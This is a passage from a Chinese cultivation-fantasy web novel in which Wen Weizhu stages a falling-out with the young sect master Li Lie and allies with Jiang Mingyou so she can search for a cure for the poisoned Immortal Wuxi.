温微竹说完,也不等少宗主回应,转身离开。
栗烈神色深沉,他不信,温微竹会这样轻易离开。
上次说走就走,过了几天还不是自己回来了。
他就不信,他院子里的灵植幼苗她还没到手,她会就这样罢手!
不过是以退为进的手段罢了!
他是绝对不会挽留她的!
“你今天若是离开,以后都别想再踏入灵深峰!”
栗烈站起身,对着温微竹的背影下通牒。
他不过是挑了一点小刺,她连这么一点委屈都受不了!
还是之前对她太好了。
温微竹离开的动作一顿,紧接着脚步不停地往前走。
于文峥焦急地瞪了少宗主一眼,又去追温微竹。
他是真不明白,栗烈和温微竹两个死倔的人,一个敢说,一个敢做。
这是干什么?
一个是对象不想要了?
一个是任务不想做了?
就他这个局外人反而急成了热锅上的蚂蚁?
于文峥追上温微竹,凑到温微竹耳旁小声道:“怎么回事?你真走啊?少宗主就是那暴脾气,他挑你就让他挑呗,非要对着干做什么?回头他真不让你来,还怎么做任务?”
温微竹瞟了于文峥一眼,神色淡然,“接下来靠你了。”
于文峥挑高了眉眼,道:“什么叫靠我?我都试过多少年了,没用啊!”
温微竹却置若罔闻,头也不回地离开了灵深峰。
于文峥只觉天塌了。
继这么多年任务无望之后,刚冒头的希望,又被扼杀在了摇篮里!
都怪少宗主,早不发晚不发,这个时候发什么少爷脾气。
挽留温微竹无果,于文峥越想越气,灵深峰也不去了,让栗烈自己爱咋咋地吧!
接下来的两天,温微竹如她所言,连个人影都看不到。
栗烈好歹还正常去中堂广场上课,温微竹不知道是不是践行她所说的不出现在少宗主的面前,连课也不去上,甚至在少宗主不出现在中堂的时间,也没有温微竹的身影。
于文峥头大。
温微竹也不知道去了哪里,总之就是在常阳宗都见不到她的踪影。
下次见面他一定要留个联系方式。
随着时间的推移,栗烈的脾气也越来越暴躁。
上课、练剑。
每天都是同样的事情,却越练越浮躁。
他望着两天没浇水的灵植,心里想着温微竹再不来给这些灵植浇水,就都要死翘翘了。
到时候,灵植死光了,她上哪里偷灵植幼苗!
栗烈正在内心交战,自己要不要给这些灵植浇水。
同样两天没出现在灵深峰的于文峥赫然出现在他的面前。
栗烈眼神闪了闪,随后眸色黯淡下去。
于文峥注意到了这个细节,心中暗想:没等到温师妹失望了吧?活该!
栗烈装作不甚在意,继续练剑,问:“你来干什么?”
于文峥在心里翻了个白眼,将手中的图纸朝栗烈道方向递了递,“呐,温师妹给你的图纸。”
栗烈练剑动作一顿,皱眉道:“重做!”
于文峥怒气从心底涌上来,控都控制不住,最后他还是强行忍住,将怒气化作冷笑,道:“真不好意思,温师妹说了,这是她最后能为你这院子做的,算是报答你之前在她困难之时的帮助,不管你采不采用,她都不会再管。”
栗烈茫然不信,几乎用质问的口吻问:“你说什么?”
于文峥回以冷哼,也不多说,只是把手中图纸朝栗烈方向再次递了递。
栗烈收起剑,接过图纸,往一旁的桌子上一扔,装作漠然道:“跟她说,我不会看的。”
于文峥火了,“你非要这样吗?温师妹到底哪里惹你了?你要这样子?”
栗烈凶狠地瞪回去,话到嘴边,他又说不出口。
他总不能说温微竹靠近他别有所图。
谁不知道温微竹是别有所图。
最开始他和于文峥都很清楚温微竹是对他有所图才会接近他的。
而他自己,也是对温微竹有所求,才接受她的接近。
而他现在能说什么呢?
说温微竹对他有所图不错,但接近他的理由却并不是他们所认为的那样,而是为了另一个男人!
栗烈不得不承认,他一直耿耿于怀的,是温微竹为了无息仙尊而接近他的这一点。
“我不会看的。”最终栗烈压下来心里的憋屈,“她若是想让我看,就自己拿着图纸来找我。”
“找你,找你,有用吗?”于文峥忍了这么多天,终于忍不住了,“之前温师妹是不是主动找的你?是不是跟你道了歉?是你嘴跟淬了毒似的,把温师妹气走的。”
栗烈捏紧手中的剑,怒瞪着于文峥。
于文峥也瞪着他。
两人互相对峙了一会,于文峥不想继续无谓生气下去,撂话道:“你爱看不看,温师妹的图纸我已经给你了。”
于文峥走后,栗烈一腔怒火无处发泄,在后山大肆扫荡了一番,浑身筋疲力尽才回来。
在桌边坐了半天,他才伸手拿起桌上的图纸,缓慢打开。
图纸上画了简略的地图,将院子里的灵植分出几个大块,每个大块都标注了名字,写好了种植类型、种植条件等详细信息。
这些都是之前两人一起规划好了的,图纸上也只是稍微完善一下。
这张图纸最主要的是在自动灌溉系统的设计上,她设计了一条水渠将后山的泉水引入过来,在不同的地方设置了不同的灌溉条件。
栗烈看向图纸下方解释整个灌溉系统的详细解释。
一
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排排的小字映入眼帘。
规规矩矩,方方正正。不说多好,但也不错。
这是栗烈第一次看见温微竹写的字。
与她整个人给人的感觉一样,普普通通,安安静静,仿佛竭尽全力让自己泯然大众。
但栗烈知道,温微竹并不像她所表现得那么普通。
她善于思考,善于尝试,有很多很大胆的想法,并且乐于动脑子去实现那些常人觉得很不可思议的事情。
全自动灌溉系统,普通人谁会有这样的想法?
就算有这样的想法也只会觉得这是天方夜谭。
可温微竹不但这么想了,还提供了一套完整的有可能实现的方案。
中间提到了很多阵法,有一些甚至栗烈都没见过,而他见过的那些,他知道,阵法来自于哪里。
于文峥出生于阵法世家,手中握有几乎修真界所有最好阵法的秘籍。
栗烈从很久以前就知道,于文峥是父亲安排在他身边的,目的是什么也很明显。
只是他有自己的想法,而于文峥虽然偶尔会表现出想让他学习阵法的意图,但并不明显,他也就不在意。
横竖赶走一个于文峥,还会来下一个。
只要父亲想让他修阵法的心没有变,就不会放弃。
这些高阶的阵法,她是如何在众多阵法中找到自己想要的阵法的?
于文峥给她参考了吗?
其中有一些地方标注了她有限的知识内,暂时没找到合适的阵法,于是便写了想实现的功能,让他和于文峥自己去寻找合适的阵法。
若是实在找不到,便再另辟蹊径,寻另一种实现同样效果的方法。
这样的图纸,这样的想法,岂是一个普通人能想到的?
她明明做什么事都能做到很好,却总是将自己的存在感降得很低。
她心里到底在想些什么?
栗烈收起图纸。
不论温微竹在想什么,她对自己有所图是真的。
否则她也不会在跟他分道扬镳之后,又主动出现在灵深峰。
她既然都能厚着脸皮来跟他道歉,这一次,想必也会找借口来冰释前嫌。
事与愿违,接下来的几天,温微竹毫无动静。
倒是于文峥沉不住气跑来问过他一次,问他看过图纸没有。
栗烈淡漠地点点头。
他觉得于文峥就是来帮温微竹试探他态度的,虽然不知道那两人什么时候关系这么好,但他是不会率先投降的。
面对两个油盐不进的人,于文峥也想撂挑子不干。
温微竹自从把图纸给他之后,就消失不见。
栗烈是说什么都听不进去,只有一句话,让温微竹自己去找他。
温师妹要是愿意去找他,至于他于文峥在这里着急吗?
关键是温微竹不想再与栗烈有交集的心比栗烈还要铁。
于文峥见栗烈这边行不通,实在没办法,只能找栗烈要他的传讯螺。
栗烈淡漠地态度绷不住问:“你刚说什么?”
“我说既然你也不跟温师妹联系,把你的传讯螺给我,让我跟她联系一下,整个常阳宗我都找不到她人!之前一直没留她联系方式!”
40. 他不是我的前主人
于文峥一直没有跟温微竹联系这件事,让栗烈对温微竹一定会来找他的想法产生了动摇。
最终,栗烈也没有将传讯螺给于文峥。
于文峥走后,栗烈无数遍细看温微竹给他留下的图纸,手指无意识摩挲着腰间的传讯螺。
栗烈知道自己钻了牛角尖,就像最初因为想招揽温微竹结果温微竹不见人影一样,后来再见到温微竹的时候,心中别扭,总觉得对方让他受了气,便非要争那口气一样。
现在也是,他为什么要向温微竹低头?
她欺骗了他。
一切错都在她。
她若是不回来,那又怎样?
不回来便不回来。
日子也是这样过。
院子里的灵植之前也是该死就死,能活就活。
现在又能有什么区别?
栗烈依旧过着上课修炼的日子。
只是人愈发的沉默。
于文峥最近也不知道在想什么,不怎么出现在栗烈的面前。
栗烈觉得这没什么,随着时间的流逝,他一点也没有期待温微竹会回头来主动认错。
直到宗门那边有外出任务,问他去不去,他不假思索地拒绝,他才意识到,他还是在等待,等待温微竹回头。
以往宗门的每次外出任务,他都必定会参加。
而现在,他不愿意离开这里,不过是怕他不在的时候,有人会来找他。
“少宗主不去吗?”前来通知的弟子显然难以置信,随后像是恍然,问:“是因为蒋师兄要去吗?”
栗烈皱眉,“蒋明祐会去?”
“对,而且他还要带上最近新看上的师妹一起去。”
栗烈对蒋明祐的花边新闻不感兴趣,不过蒋明祐会外出倒是出乎意料。
蒋明祐平时我行我素,却还是有作为天灵根的自觉,在自己实力尚未能自保之前,从未在没有保护的情况下出过宗门。
某种意义上,除了各大宗门的大型集会,蒋明祐几乎没有单独外出过。
这一次,他竟然要接外出任务?
栗烈正思索其中缘由,只听得传讯弟子继续问:“少宗主真的不去吗?其他弟子没和蒋师兄出过任务,有少宗主还能心安一点,要是少宗主你不去,大家心里估计都没底。”
“蒋明祐已达元婴,他们没什么可担心的。”栗烈实话实说。
传讯弟子被噎了一下,只得恭敬敬礼,道:“弟子知道了,这就回去复命。”
对于蒋明祐突然要出宗门,栗烈虽有疑问,但也不想多问。
只是那传讯弟子转身低声嘀咕的声音传入耳际,让他浑身一震。
“你说什么?”他闪身拦住传讯弟子去路,问。
“什么?”传讯弟子吓得大惊失色,不知道自己做错了什么,少宗主的表情凶狠地像要杀人。
“你刚说什么杂灵根?”栗烈咬牙切齿问。
“蒋师兄要带一个杂灵根弟子一起去?”传讯弟子回顾刚才自己的自言自语。
“杂灵根弟子是谁?”栗烈神色不善问。
“是一个叫温微竹的杂役弟子,不知道突然从哪里冒出来的。现在被蒋师兄带在身边。”传讯弟子脸色惨白,不明白少宗主为什么一脸要杀人的模样。
手中的剑握得咯吱作响,栗烈终于明白温微竹为什么这么干脆地放弃了他,因为她换了另外一个目标。
“少、少宗主,还有事吗?”
被传讯弟子颤抖的声音唤回理智,栗烈才惊觉自己一身杀气。
收起满身的杀气,栗烈收拾自己的表情,道:“外出任务我会去。”
“好、好的。”传讯弟子见栗烈让开了路,着急忙慌地跑了。
栗烈站在原地久久没有动,很长时间都感觉自己在做梦。
温微竹舍弃了他,选择了蒋明祐。
胸腔汹涌的悲愤山呼海啸般将他淹没。
温微竹到底是个什么样的人?
她来常阳宗到底有什么目的?
栗烈对温微竹的一切都产生了怀疑。
甚至于她的杂灵根,是真的吗?会不会是某种伪装,只是为了将自己伪装成弱小的模样,让人放松警惕?
“少宗主!大事不好了!”于文峥大声呼喊,瞥见栗烈脸上血色尽无的站在路边,惊道:“你是不是也听说了温师妹跟蒋明祐在一起?”
栗烈没说话,愤懑之中略带忧伤与迷茫。
于文峥急道:“怎么办?蒋明祐肯定是威胁温师妹了!之前温师妹还能有点底气跟蒋明祐抗衡,现在她肯定觉得你也不会帮她,她只能乖乖任蒋明祐摆布!”
栗烈醍醐灌顶看向于文峥,他怎么没想到,之前蒋明祐就找过温微竹的茬,现在他与温微竹吵架,蒋明祐必定是趁虚而入,威胁温微竹,好利用温微竹来跟他示威!
“我去找蒋明祐!”栗烈说着,御剑而起。
“等等我!”于文峥拽住栗烈的袖子一起上了飞剑。
温微竹与蒋明祐正走在回蒋明祐院落的小路上,周边没人,也懒得和蒋明祐装。
两人并肩走着,谁也没有说话。
装亲密这件事,对温微竹来说根本不可能,不过其他人也不在乎她的态度,只要她站在蒋明祐的身旁,这就是一件非同寻常的事情。
而蒋明祐也不遑多让。
蒋明祐对想上手的猎物花言巧语,骗到手后马上就会失去兴趣。
可偏偏他那张脸极具诱惑,没有女弟子抵挡得住诱惑。
所以蒋明祐并没有真正意义上花过心思,平时哄骗女弟子也不过是流于表面的甜言蜜语。
让他对一个人频繁的甜言蜜语,也很难。
所以在外面晃了一圈的两人都觉得心累,连话都不想说。
温微竹觉得这样不行,她不想蒋明祐对她恶心肉麻,蒋明祐也不想这样。
思来想去,温微竹道:“要不以后我就跟在你身边,你正常做你的事情,把我当一个人形挂件就行。反正你花名在外,只要跟你在一起,流言自然而然会把所有没有的事情都补齐。”
蒋明祐觉得可行,便点点头。
等到了蒋明祐的院子,确定没有其他弟子,温
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微竹刚跟蒋明祐告别,迎面碰上御剑而来的少宗主与于文峥。
温微竹不动声色后退两步,退至蒋明祐的身后,扯了一下蒋明祐的袖子,朝他使了个眼色。
跟栗烈杠哪还需要温微竹跟他使眼色,蒋明祐立马就来劲了,刚刚还一脸生无可恋,转瞬就喜笑颜开,扇着扇子尽显花孔雀本色,道:“栗师弟真是稀客,竟然会来师兄我的院子。”
“蒋明祐,我提醒过你,让你不要打她的主意!”
栗烈从剑上下来,他第一眼就注意到了往蒋明祐身后躲的温微竹,直觉这样不对,但他不愿意深想,就强迫自己忽略这个小细节。
于文峥也从剑上下来,喊道:“就是!快把温师妹还回来!”
蒋明祐含笑瞟了站在他身后的温微竹一眼,戏谑道:“听见没,栗师弟和于师弟让我把你还给他们。怎么样?要还吗?”
温微竹双目含泪如一汪清泉望着蒋明祐,“蒋师兄,你要抛弃我了吗?”
蒋明祐神色明显一顿,一直冷冷淡淡、老谋深算的温微竹竟然一秒入戏,这楚楚可怜的模样,端得让他说出口的话都不自觉带了几分真意。
“我怎么舍得抛弃你,这不是你的前主人来找我讨人,我来问问你的意见。”
蒋明祐不自觉朝温微竹伸出手,在手指触摸到温微竹的脸颊之前,注意到温微竹骤变的神色,硬生生将手指的方向调了个弯,去撩了一下她的头发。
“他不是我前主人。”温微竹否认得很干脆。
两人你一言我一语其他人无法插足的氛围令于文峥傻眼。
难道蒋明祐真有那么大魅力,什么女弟子都逃不出他的魔爪?
就连一向老老实实的温师妹都罕见的露出了情窦初开的小女儿情态?
而栗烈脑子嗡嗡嗡,眼睛盯着那两人近在咫尺的身影,耳朵里只有刺耳的长鸣,什么也听不见,他看见那两人在你一言我一语,却一个字也听不清。
等于文峥从震惊中回过神来的时候,发现栗烈浑身真气暴走……
“少宗主!”于文峥惊叫了一声。
蒋明祐率先注意到,哇了一声,道:“好大的杀气。看来栗师弟真的很生气。”
温微竹皱了皱眉,她的目的不是让少宗主和蒋明祐厮杀。
见蒋明祐一脸跃跃欲试的模样,温微竹往前一步,挡在蒋明祐的身前,盯着即将暴走的少宗主,冷着脸道:“少宗主,我想跟你单独谈谈。”
栗烈阴冷地目光打在温微竹的身上,裹着冰碴子的声音从胸腔发出来:“你有什么解释的,就在这说。”
于文峥还不死心,他觉得温微竹不是那样的人,在一旁补充道:“对啊,对啊,温师妹,你不要怕,要是蒋明祐威胁你,少宗主和我一定会为你做主的,你不要怕他!”
温微竹沉默了一会。
在少宗主极具压迫感的眼神与于文峥殷切期望的眼神下,半垂眉眼,缓缓道:“我没有受蒋师兄威胁,我是自愿的。少宗主和于师兄为什么会觉得我是被迫的?”
栗烈瞳孔颤动,于文峥张大了嘴,一时竟无言。
41. 战利品
作为罪魁祸首的温微竹神色从容,面上没有半分愧色。
有一种理直气壮的可恶。
她继续说道:“我一个杂灵根想在高手云集的宗门内图个安稳,只能去依附强者。当初靠近你们是如此,现在靠近蒋师兄自然也是如此。慕强是天性,蒋师兄比少宗主更强,更好攀附,我为什么要舍近求远?”
她说这些话的时候直视着栗烈。
像是在告诉栗烈,她话语中化成的利剑,戳的不是别人,正是栗烈的心窝。
“温师妹,你疯了吗?”于文峥率先跳出来责难,“我之前就提醒过你,蒋明祐对女弟子没有真心,等玩腻了就甩,到时候你不但得不到他的庇护,反而会被其他爱慕蒋明祐的人群起而攻之!”
于文峥气愤之余又长吁短叹,“我一直觉得你还算聪明,现在怎么会这么糊涂?”
于文峥气得跺脚,既气又恼,实在不明白看起来挺聪明的温微竹怎么就做了如此糊涂的事情。
就算是和少宗主吵架怄气也不能拿自己的性命开玩笑。
别人还行,蒋明祐那是能随便靠近的人吗?
之前对她的耳提面令都打了水漂,是一句没听进去!
于文峥的焦急与痛心皆出自真心,这些日子以来,他是从心底里将温微竹当做朋友。
更何况,自从知道他与温微竹任务一致,他自然而然将她当成了同伴、战友……
等等……
温微竹不是宗主派去少宗主身边的吗?
怎么现在来这一出?
任务不做了?
温微竹不但跟少宗主闹掰了,和宗主也闹掰了?
于文峥的脑子一下子过载,没能反应过来现在到底是个什么情况。
之前一听温微竹跟蒋明祐在一起,第一反应是蒋明祐又开始找茬,完全忘了温微竹还有一重身份的事情。
现在一想……
这情况怎么有点奇怪?
在场其他人却没有注意到于文峥忽然卡壳,温微竹也没有回答于文峥的问题,而是看向少宗主。
栗烈对温微竹的过往印象在土崩瓦解,从那一夜从云萃峰回来之后,他对温微竹就充满了怀疑与愤恨。
此刻,温微竹的脸在他的脑海中一遍又一遍的崩解又重组,逐渐变得面目全非,变成了他完全不认得的模样。
“少宗主,可还记得,我曾经跟你说过,我不想成为你与蒋师兄争强好胜的棋子。”
栗烈只是盯着眼前的人。
他已经不想开口说任何话,他只想知道,一次次崩解之后的这个人,最终会拼成一个什么模样。
温微竹静默了一会,也不需要少宗主的回答。
“可我还是卷入了其中。”
栗烈记得,在禁闭室里温微竹说他多管闲事,本来她已经要与蒋明祐分道扬镳,是他的出现,再次将温微竹卷入了其中。
“既然我注定要成为你们之间争夺的筹码。那我为何不干脆成为胜者的战利品?这样我就不会一直陷入这无谓的争端之中。”
温微竹的视线再次转向于文峥,“于师兄,现在明白我与其他女弟子的区别了吗?”
于文峥还在宕机中,自然不知道这其中逻辑。
“其他女弟子只是蒋师兄的玩物,但我不一样,我是蒋师兄的战利品,是从少宗主手里抢过来的战利品。”
温微竹特意强调了‘少宗主’三个字,让在场的其他三个人都明白这其中微妙的心理博弈。
蒋明祐针对少宗主不是一天两天。
在常阳宗,天赋蒋明祐比少宗主高。
但少宗主起步比蒋明祐早,资源比蒋明祐丰富,而且还有宗主当靠山。
作为中途修炼,无背景无根基的天灵根,蒋明祐在少宗主面前,除了天赋,没有一样能比得过。
而偏偏,在这一条赛道,少宗主不愿意跟他比。
少宗主甚至根本不在乎修炼,中途撇了最擅长的阵法,去修了毫无天赋的剑道。
在大家都追求修为的时候,少宗主却不知道脑子里在想什么,无视他人目光,过的随心所欲。
栗烈咬紧了牙,一字一顿道:“你算什么战利品!”
“我算不算战利品,少宗主说了不算,蒋师兄说了才算。”温微竹脸上没有半分以往的温驯婉约,反而透着一丝算计狡诈,“就算少宗主说我对你来说什么也不是,但我去过灵深峰是事实,替少宗主做了一段时间的饭也是事实,在藏书阁,少宗主为我跟蒋师兄起冲突也是事实……”
栗烈的脸被温微竹的一句句话鱼说得越来越白。
温微竹却犹不甘心似的,继续说:“少宗主怎么想我的不重要,别人怎么想才重要。别人不理解其中弯弯绕绕,只知道结果是,曾经属于少宗主的东西,后来被蒋师兄抢走了。”
栗烈终于忍不住一把拽住温微竹的衣领,低头凝视着近在咫尺的这张完全陌生的脸,咬牙切齿地问:“你曾经属于过我吗?”
以往温润的那双眸子此刻透着冷漠,温微竹点点头,仿佛给栗烈的心中种下一根刺一般,笃定道:“我以前属于你。”
这是一个悖论,一个博弈。
温微竹以前是否属于栗烈,哪种意义上的属于,温微竹全然没有提及。
她不过是在栗烈的心中种下这样一种印象。
曾经属于他的东西,如今被蒋明祐抢走了。
原因是蒋明祐比他强。
栗烈心神震荡,心中有一种失去自己所有物的悲恸,他哑着声音问:“你真的要选择蒋明祐?”
温微竹眼神坚定,没有半分逃避,“对的。少宗主,如果你变得比蒋师兄更强,我也可以跟你走。”
栗烈眼眸闪烁,下一刻却听得温微竹说:“但是你不会的。”
“你说什么?”栗烈质问。
“你一直活在自己的世界里,你觉得当年如果你练的是剑道,大妖就不会逃走。可你没有想过,大妖会逃走本质是你不够强,而不是你手中没有武器。”
栗烈像是被无形的巨锤当胸击中,整个人猛地踉跄后退。
温微竹垂眸,不去看栗烈失去血色的脸。
“少宗主,你走吧。”
于文峥带着失魂落魄的栗烈离开了。
在一旁没派上什么用场的蒋明祐望着栗烈从未有过的失意背影,不由啧啧称奇。
“你可真狠,看得我都不忍心了。”
温微竹翻了个白眼,“我看
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你看乐子看得挺开心。”
“这你说的就不对了,你当着两位师弟的面说我嫉妒栗师弟,我心里很受伤的好吧?”
温微竹无语,“要是说你看上的是我的杂灵根和平平无奇的相貌,你觉得哪点更侮辱你一点?”
蒋明祐竟无言以对。
温微竹不想跟蒋明祐多言,丢下一句走了,头也不回地离开了。
回到云萃峰,一个五岁左右的男童飞身而至,噙着眼泪扑进温微竹的怀里:“你终于回来了,你出去了好久。”
温微竹对小孩的眼泪毫无感觉,对小孩子依恋的拥抱也没有回应,站在原地没有避开对方扑过来,已经算是她善心大发。
“我只出去了半天。”温微竹皱眉让小孩把眼泪擦干不要蹭到她衣服上,同时动了动大腿,示意抱着她大腿的手放开。
小孩不情不愿地放开温微竹,擦了擦眼泪。
温微竹例行问他云萃峰的情况。
“没有人来,主人状态没有变化。”小孩乖乖汇报情况。
温微竹点点头,没说什么。
那天温微竹从灵深峰回来之后,本来打算的是利用院子改造的图纸,诱导少宗主多接触阵法,为了能实现效果,让少宗主研究高阶阵法以及最好能自己创造阵法。
这个方法有一点难度,但可行度还可以,她也可以根据情况随时调整战略。
但在她差不多完成图纸的那天,云萃峰出现了变动。
无息仙尊的剑灵化形现身,并带给了她一个与无息仙尊中毒有关的令人震惊的真相。
“你不要相信栗宗主!”剑灵由于灵力问题,只能化身成五岁孩童,说话的声音奶声奶气,但焦急万分。
“怎么回事?”温微竹问。
剑灵这才将事情的始末娓娓道来。
温微竹才知道自己被丁长老与栗宗主骗了。
无息仙尊体内的毒,就是宗门下的,根本与那场大战无关。
而无息仙尊体内的毒并非一朝一夕的事,而是从他入宗门的那天开始,就存在于他的体内。
这是宗门控制天灵根的一种手段。
为了让天灵根为宗门所用,变成宗门的一把刀。
无息仙尊原先并不知情,直到他不想被宗门利用,想要反抗,才发现自己一直在宗门的掌控之中。
为了寻找解药,无息仙尊想了很多办法,最后终于听说有一种解百毒的食毒草,这种草说不定有希望解他体内的毒。
却不成想遇上了妖族入侵,修真界大战。
为了不被宗门发现端倪,无息仙尊参加了封妖大战。
“但主人在大战之中遭了暗算!”剑灵恨恨道。
无息仙尊在大战中被人暗算受伤,陷入昏迷。
宗门不但不竭尽全力医治,反而对外宣称无息仙尊受伤闭关,随后便将无息仙尊放在云萃峰弃之不顾。
“宗门的毒需要每月服用解药方可遏制,主人受伤昏迷之后,宗门就再也没给他服用过解药,导致主人中毒渐深,最终被毒素覆盖灵台,损了根基!”
“再这样下去,主人必死无疑。”剑灵呜呜哭泣,大致是身体是小孩子,内心也跟着退化成小孩子,完全管不住自己的泪腺。
42. 争锋
温微竹喜静,不耐烦听嗡嗡嗡闹心的哭声,便勒令剑灵不要再哭,她需要安静的环境想想该怎么做。
剑灵早不化形晚不化形的,等她为了探查无息仙尊受伤的真相冒着生命危险结果被丁长老和栗宗主骗了一圈之后,才化形来告诉她真相。
但现在也不是埋怨的时候。
照剑灵所说,哪怕她一直替栗宗主做事,栗宗主每个月给她解药,这也解决不了实际问题,顶多延长无息仙尊躺在床上的时间而已。
若想救无息仙尊,就必须要找到剑灵所说的那个能解百毒的食毒草。
“你知道哪里有食毒草?”温微竹问剑灵。
剑灵摇摇头,抽噎着收回自己的眼泪,“主人才刚知道食毒草这个东西的存在,还没来得及寻找,只是听说这草一般生活在无人敢去的毒瘴之地,因为以毒为食,所以生活的环境无人敢靠近。”
生活中毒瘴之地的草,温微竹以为是剧毒的草,用来解毒是以毒攻毒,没想到剑灵说这草本身无毒。
真是神奇的东西。
现在拯救无息仙尊的方法摆在眼前,就是去找这食毒草。
但在此之前,她需要找到哪里有食毒草,以及……怎么才能取到食毒草。
一般这种存在传说中的植物,肯定是很难摘到,否则也不会变成传说。
那么问题就很明显了。
温微竹作为一个杂灵根,如何能取到传说中生活中毒瘴之地的食毒草?
这几乎是不可能发生的事情。
将图纸交给于文峥之后,温微竹着重将心思放在寻找食毒草的信息以及如何才能成功取得食毒草上。
思来想去,她想到了蒋明祐。
蒋明祐是天灵根,如果无息仙尊是刚入门的时候就被宗门下毒的话,那蒋明祐作为无息仙尊的继任者,必定也在入门之时就被下了毒。
而蒋明祐显然与早期的无息仙尊一样,对下毒一事毫不知情。
只要告诉蒋明祐这个事情,蒋明祐必然会为了给自己解毒,去寻找食毒草。
寻找蒋明祐合作毫无疑问是目前最好的选择。
与蒋明祐合作的方式,温微竹也想了很多种。
最终选择了现在这种一箭三雕的形式。
少宗主那边,她以蒋明祐更强为理由,顺理成章叛变。少宗主恨她,对她心灰意冷,就不会再查她,或是要求她回去继续给他做饭。
她现在要把时间腾出来,寻找食毒草的踪迹,甚至有可能要离开宗门去寻找食毒草,她不能再与少宗主牵扯不清。
而栗宗主那边就更好解释了,只要以刺激少宗主变强为由,就能敷衍过去。
第三点,将她与蒋明祐的关系闹得如此沸沸扬扬也是为了避免丁长老对她下手。
丁长老知道她手中有丁紫瑜的把柄,不可能放她安生。
之前想借栗宗主解决掉她,发现没有成功,他必定会想其他方法。
如果将她与蒋明祐还有少宗主的关系闹大,碍于这两个人的存在,丁长老不敢轻举妄动,一定程度上能保证她的人生安全。
这个决策没有任何问题,非常完美。
但温微竹此刻的心情并不太美妙。
说不上为什么,少宗主惨白的脸与混杂着愤恨和失望的眼神不断地在她脑海中回旋。
于文峥之前说少宗主喜欢她,她相信又不太相信。
是一种很玄妙的感觉。
温微竹见过对她有意图的男人的眼神,黏腻中不加掩饰的欲望,从眼底、从面部肌肉流露出来,让人恶心,恨不得将对方碎尸万段。
但少宗主看她的目光一直很坦荡,有时候冷傲淡漠,有时候会闪闪发光。
但这些都与她从其他人身上得知的‘喜欢’的感情不挂钩。
所以温微竹不太确信,但于文峥有没必要欲盖弥彰的给自己特意传递这样一个错误信息。
温微竹思来想去,唯一的可能是于文峥自己误会了。
少宗主是喜欢她,但未必是喜欢她这个人,而是喜欢她的手艺。
而温微竹自问自身对少宗主的感觉,虽然他脾气暴躁又别扭,喜欢钻牛角尖,但本性善良又怯懦。
或许是年纪还小,又出身高贵。
感觉少宗主人生经历单纯,不知人心险恶。
在这个处处是危机的修真界,若是没有宗门的庇护,他这样的人,如何能生存下去?
温微竹不觉得自己的选择是错的。
自己扮演着恶人,伤害他,刺激他,让他去追求力量,若是他能有所悟,潜心修炼,提升自己的修为,她也算回报他的那一份未知真实的‘喜欢’。
理智上来说是这样的。
可她的心里,却有一种奇怪的不忍与继续呵护那份单纯的冲动。
温微竹觉得这些情感很陌生。
不忍与呵护,以前从未在她的词典里出现过。
她是那种受伤的幼崽在她眼前奄奄一息都绝不动容的人。
她怎么会不忍,甚至想要呵护呢?
但这些东西并没有困扰温微竹太久。
因为她还有很多的事情要做。
这次外出,目前有的信息只是说在荚雾森林出现了一个秘境,由于是凭空而出的秘境,所以尚且不知道里面是什么模样,需要各大宗门派人先去探索一番,最后才决定这个秘境的归属与管理。
有秘境代表着有秘宝,哪个宗门都想分一杯羹。
常阳宗自然也不例外。
最先进入秘境的,必然能最先拿到里面的宝物。
但全新的秘境,危险未知,所以这是一个危险与收益并存的挑战。
温微竹怂恿蒋明祐参加不完全是冲着秘境去的,而是找机会离开宗门,寻找食毒草的下落。
蒋明祐心机颇深,反应敏锐。
她说的话,表面相信,并装作一副轻松自如的模样,背地里必定要好好验证一番。
温微竹只祈求他验证的时候不要暴露目的,让宗门察觉他已发现自己被下毒的事情。
时间飞逝,转眼到了外出的日子。
温微竹跟在蒋明祐身边,存在感不强,但还是能感觉到其他弟子有意无意的落在她身上的视线。
那些人大致都在心中揣测,这么普通的弟子,到底是哪方面拿捏住了蒋明祐,让他
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好些天了,也还没腻了她将她甩掉。
温微竹面色无常,淡定地站在蒋明祐的身边。
混在弟子之中的胡司敬阴沉的目光盯着温微竹,因为太过阴鸷,还是吸引了温微竹的注意。
温微竹看向他,他却赶紧移开目光,躲藏在别的弟子身后。
温微竹敛眉,扫视了一下人群,没有看见陈青叶的身影。
这段时间太过忙碌,温微竹压根没有心思去关注胡司敬与陈青叶的事情。
那两人也不知道是被云萃峰的结界拒之门外,还是压根没来找过她,反正她已经有很长时间没见到他们了。
不过,不用去了解,她也能猜到他们两个的结局。
陈青叶自私贪婪,胡司敬高傲自大,两人会分开,最终闹得不欢而散是迟早的事情。
她不过是当时心情不好,从中作梗,加速了他们分开的步伐而已。
至于胡司敬对她如此痛恨……
难道是恨屋及乌?
不过很快温微竹就没再思考这个问题,因为少宗主穿着那身熟悉的白衣出现了。
温微竹的视线顿了一下,目光落在少宗主清癯的面庞之上。
温微竹还记得第一次在食堂见到少宗主时,少宗主眉眼间的少年意气。
此刻的少宗主神色冷硬,眸光深沉,他的目光从温微竹的身上一扫而过,随后目不斜视从二人身旁走过。
少宗主身后的于文峥倒是看着温微竹欲言又止。
温微竹沉默不言,扫了一眼清瘦许多的少宗主,便收回了视线。
这几人相顾无言,又故作冷漠,不代表蒋明祐也愿意放过这种难得挑衅的机会。
上一次话全让温微竹说了,他都没有表演空间,他回去遗憾良久。
现在逮着机会,怎能错过?
“栗师弟,见了师兄也不打个招呼。”
蒋明祐嬉皮笑脸挡在少宗主的身前,一把铁扇耍来耍去,显得自己非同一般的风流倜傥。
温微竹不自觉皱了下眉头。
自从上次刺激过少宗主之后,温微竹就不想再招惹少宗主。
所以当蒋明祐发现没事找事时,温微竹神色不悦,甚至想直接将蒋明祐拽回来。
栗烈瞟了一眼蒋明祐,余光看向温微竹,发现温微竹还保持之前的站姿,甚至连身子都没侧一下,更别说给他们一个眼神。
烦躁涌上心头,栗烈冷道:“我和你无话可说。”
“好冷淡啊。”蒋明祐做作道,“这还是我第一次外出,栗师弟不传授一点经验吗?”
栗烈冷哼一声,“你不是比我强吗?还需要我传授什么经验,用你的高修为好好活着吧。”
转身走了几步,栗烈又回来冷嘲热讽道:“秘境凶险,保证自己小命要紧,杂灵根的拖油瓶就别带了。”
蒋明祐正没找到机会扎栗烈呢,结果栗烈先忍不住给他递刀子。
他摇了摇扇子,气定神闲道:“那没办法,我和温师妹这会正恩爱呢,分不开……”
蒋明祐伸手想把一旁的温微竹拉过来,却捞了个空,侧头一看,原本温微竹所在的地方早没了温微竹的人影。
43. 遇险
